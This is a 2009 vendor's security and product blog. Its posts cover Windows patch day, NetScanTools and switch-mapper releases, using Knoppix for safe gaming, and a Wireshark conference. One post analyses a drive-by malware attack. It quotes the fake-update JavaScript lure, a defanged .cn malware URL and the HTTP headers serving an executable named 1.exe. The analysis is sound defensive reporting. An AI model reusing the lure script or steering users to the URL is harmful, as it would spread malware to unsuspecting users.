Friday, April 17, 2009
MS Patch Day
In case you may have missed it, Wednesday, April 15 was more than income tax due day, it was Microsoft's patch day for Windows. Depending on the OS, you could download between 2 to 8 patches. Please do a Windows Update today.
Monday, April 6, 2009
Managed Switch Port Mapping Tool v1.97 Released
Yes, I know I said that 1.96 would be the last of the 1.x, but a customer had a Cisco(r) 6509 that really needed correct port descriptions and it needed better reporting of the duplex mode parameters. So I worked with him to get those two changes into 1.97. It apparently works quite well now on that big switch. The port descriptions match up with what the CLI says! If you have a Cisco device that supports CISCO-STACK-MIB, please click on Setup and have a look at the Custom Description settings. And don't forget to activate the Custom Description column from the Column Order and Visibility Editor.
So go to www.switchportmapper.com to get the software or if you already have it, click on Help/Check for Update.
So go to www.switchportmapper.com to get the software or if you already have it, click on Help/Check for Update.
Friday, March 13, 2009
Malware attack avoided
And now something appropriate for Friday the 13th!
Last weekend I was checking the news on a few sites using fully patched IE6 on XP when I went to my local major news site. Before the page finished loading, I saw this message in a standard popup dialog box with OK and Cancel:
"For the further viewing of page it's needed to set an update.
To update it immediately press OK."
Immediate strongly suspicious (the POOR English was also a clue), I looked on the lower left bar of IE and saw "84654321(dot)cn/vparivatel.php" (I replaced the period with dot so you won't accidentally click on it -- DO NOT go to that URL -- it's still alive). The CN extension was enough for me to know that something no good was happening. I quickly wrote it down and used Task Manager to kill iexplore.exe. Then I restarted and cleaned out IE's cache.
Killing IE is the best way to deal with things like this because as you will discover below, hitting Cancel was just as bad as hitting OK on that dialog box.
Next, I fired up NetScanTools Pro and went to URL Capture. This tool brings in the text from a website and does not run scripts or download images. It simply downloads the raw text and displays it. So I entered the URL and retrieved it. Inside the script tags was this:
function last(){
if (confirm('\nFor the further viewing of page it\'s needed to set an update.\nTo update it immediately press OK.'))
{
parent.location='?a';
}
else{
parent.location='?a';
}
}
last();
You can see that whether you press OK or Cancel or red X, it appends ?a to the URL and activates it. So next I used URL Capture to do just that, manually of course. And guess what, MALWARE. Here is the start of what comes back:
Server: Apache/2
X-Powered-By: PHP/5.2.8
Accept-Ranges: bytes
Content-Length: 43241
Content-Disposition: inline; filename=1.exe
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/octet-stream
MZ followed by lots of barely printable characters, then part of a regular webpage.
MZ are the first two characters of an executable Windows file, and IE was being told that it was an application. So if I had not killed IE, it would have infected my computer with this executable. Needless to say I contacted the news site webmaster, but they didn't reply. I suspect it came through an ad that was rotated through.
Don't go to that URL because if you do, you will get this MALWARE executable -- it is still alive today.
Searches on 1.exe and vparivatel reveal that it does something similar to that other MALWARE I reported on where there is a forced redirect (hijack) to a bogus AV or security product.
The moral of all this is that you can get these things even from what you think are trusted sites. If those sites are running ads from other 3rd parties, you cannot totally trust the site. And the second thing is to kill your browser with Task Manager rather than trying to shut it down normally -- oh and don't forget to clean the browser's cache -- immediately.
Last weekend I was checking the news on a few sites using fully patched IE6 on XP when I went to my local major news site. Before the page finished loading, I saw this message in a standard popup dialog box with OK and Cancel:
"For the further viewing of page it's needed to set an update.
To update it immediately press OK."
Immediate strongly suspicious (the POOR English was also a clue), I looked on the lower left bar of IE and saw "84654321(dot)cn/vparivatel.php" (I replaced the period with dot so you won't accidentally click on it -- DO NOT go to that URL -- it's still alive). The CN extension was enough for me to know that something no good was happening. I quickly wrote it down and used Task Manager to kill iexplore.exe. Then I restarted and cleaned out IE's cache.
Killing IE is the best way to deal with things like this because as you will discover below, hitting Cancel was just as bad as hitting OK on that dialog box.
Next, I fired up NetScanTools Pro and went to URL Capture. This tool brings in the text from a website and does not run scripts or download images. It simply downloads the raw text and displays it. So I entered the URL and retrieved it. Inside the script tags was this:
function last(){
if (confirm('\nFor the further viewing of page it\'s needed to set an update.\nTo update it immediately press OK.'))
{
parent.location='?a';
}
else{
parent.location='?a';
}
}
last();
You can see that whether you press OK or Cancel or red X, it appends ?a to the URL and activates it. So next I used URL Capture to do just that, manually of course. And guess what, MALWARE. Here is the start of what comes back:
Server: Apache/2
X-Powered-By: PHP/5.2.8
Accept-Ranges: bytes
Content-Length: 43241
Content-Disposition: inline; filename=1.exe
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/octet-stream
MZ followed by lots of barely printable characters, then part of a regular webpage.
MZ are the first two characters of an executable Windows file, and IE was being told that it was an application. So if I had not killed IE, it would have infected my computer with this executable. Needless to say I contacted the news site webmaster, but they didn't reply. I suspect it came through an ad that was rotated through.
Don't go to that URL because if you do, you will get this MALWARE executable -- it is still alive today.
Searches on 1.exe and vparivatel reveal that it does something similar to that other MALWARE I reported on where there is a forced redirect (hijack) to a bogus AV or security product.
The moral of all this is that you can get these things even from what you think are trusted sites. If those sites are running ads from other 3rd parties, you cannot totally trust the site. And the second thing is to kill your browser with Task Manager rather than trying to shut it down normally -- oh and don't forget to clean the browser's cache -- immediately.
Tuesday, March 10, 2009
NetScanTools (TM) Pro 10.82 Published
NetScanTools Pro 10.82 was completed and published on February 28. The USB patch was ready on March 2. This was an urgent release fixing an obvious problem that we missed in 10.81: nslookup was not showing results. A couple other minor changes were also done in this release.
10.81 (released just 5 days before) had several fixes, the biggest was fixing the Windows 7 crash problem. It was happening because we were not correctly identifying the new operating system and reverting to older code usable only on Windows 2000. Windows 7 didn't tolerate those old function calls at all, so the program crashed. The second most important addition was a warning message that now appears when you click on a results link in URL Capture. Other minor changes were made and all databases were updated.
10.81 (released just 5 days before) had several fixes, the biggest was fixing the Windows 7 crash problem. It was happening because we were not correctly identifying the new operating system and reverting to older code usable only on Windows 2000. Windows 7 didn't tolerate those old function calls at all, so the program crashed. The second most important addition was a warning message that now appears when you click on a results link in URL Capture. Other minor changes were made and all databases were updated.
Thursday, February 19, 2009
Game Sites with Knoppix
After the problems we had with online game sites allowing malware through, I decided to put a complete end to it. My son now uses Knoppix run from a CDR to play his online games.
Here's what I did: I downloaded Knoppix 6.0 ISO image and burned it to a CDR. Then I changed the computer that formerly had the trojan so that it would boot from the CD drive first before going to the hard drive. I put in the Knoppix CD and rebooted.
A simple text interface shows up that allows you to select a number of things, one of which is a full X desktop. All the things you need for web browsing are in there including a modified version of Firefox called Iceweasel. We now use Iceweasel to play the online games. By default it doesn't allow scripting, so we had to learn how much scripting is necessary, but now his online games play fine with complete graphics and sound just as though he were on Windows XP -- except without the worries of picking up maleware. It doesn't use the hard drive, just memory.
When he's done, we exit the X session and shutdown/reboot. Simply remove the CD and Windows comes back when you reboot.
One thing we did find is that it works best with a wired internet connection -- I couldn't get any of the wireless computers to work with Knoppix, but then maybe I don't know exactly what to do.
Interested? http://www.knoppix.net/
Here's what I did: I downloaded Knoppix 6.0 ISO image and burned it to a CDR. Then I changed the computer that formerly had the trojan so that it would boot from the CD drive first before going to the hard drive. I put in the Knoppix CD and rebooted.
A simple text interface shows up that allows you to select a number of things, one of which is a full X desktop. All the things you need for web browsing are in there including a modified version of Firefox called Iceweasel. We now use Iceweasel to play the online games. By default it doesn't allow scripting, so we had to learn how much scripting is necessary, but now his online games play fine with complete graphics and sound just as though he were on Windows XP -- except without the worries of picking up maleware. It doesn't use the hard drive, just memory.
When he's done, we exit the X session and shutdown/reboot. Simply remove the CD and Windows comes back when you reboot.
One thing we did find is that it works best with a wired internet connection -- I couldn't get any of the wireless computers to work with Knoppix, but then maybe I don't know exactly what to do.
Interested? http://www.knoppix.net/
Free AirPcap Adapters at Sharkfest
Although I haven't decided whether I will be able to attend, I wanted to let you know about Sharkfest. Sharkfest is all about WireShark(r) and it is put on by people who make WinPcap. We use WinPcap in NetScanTools Pro. WinPcap is a packet driver (http://www.wireshark.org/). Wireshark uses it to capture packets and we use it to both capture and generate packets. Wireshark is the best free network packet analysis tool I know of. The packet capture files that NetScanTools Pro saves can be opened by Wireshark for in-depth analysis.
Here are the details about the conference:
Here are the details about the conference:
Wireshark(r) Developer and User Conference
June 15 - 18, 2009
Stanford University Palo Alto, California
SHARKFEST is an educational event that offers in-depth instruction over the course of 3 days to the benefit of anyone wishing to enhance their skill set with, and optimize the effective use of, the world's most popular network and packet analyzer, Wireshark.
Space is limited and due to a full house last year, early registration is strongly encouraged. Single registration for all 3 days is $695.00 USD. Details including conference hotels, group discounts and the conferenceschedule can be found at http://www.cacetech.com/sharkfest.09/. Every paid registration will receive a FREE AirPcap Classic Adapter (SRP $198USD) and so much more!
Thursday, February 5, 2009
Browser Hijack Wrap-up
So far that computer has had no additional problems. I did use HiJackThis to make sure there were no additional startup files or registry entries that I missed. And I scanned it with Malwarebytes too with no additional findings.
One comment on the original xpsdg6420222.exe file. Symantec identifies it as a Bloodhound.SONAR.2 file which "indicates a running process with behavior similar to that of a Trojan horse that records keystrokes. It may represent a new, previously unidentified type of risk." Definitely a risk that I don't ever want to see again.
Thanks to all those who left comments and I hope what I've shown you was instructive and helpful. I certainly learned alot and my next post goes into an even more difficult, yet similar problem on yet another kids' computer.
One comment on the original xpsdg6420222.exe file. Symantec identifies it as a Bloodhound.SONAR.2 file which "indicates a running process with behavior similar to that of a Trojan horse that records keystrokes. It may represent a new, previously unidentified type of risk." Definitely a risk that I don't ever want to see again.
Thanks to all those who left comments and I hope what I've shown you was instructive and helpful. I certainly learned alot and my next post goes into an even more difficult, yet similar problem on yet another kids' computer.
Subscribe to:
Posts (Atom)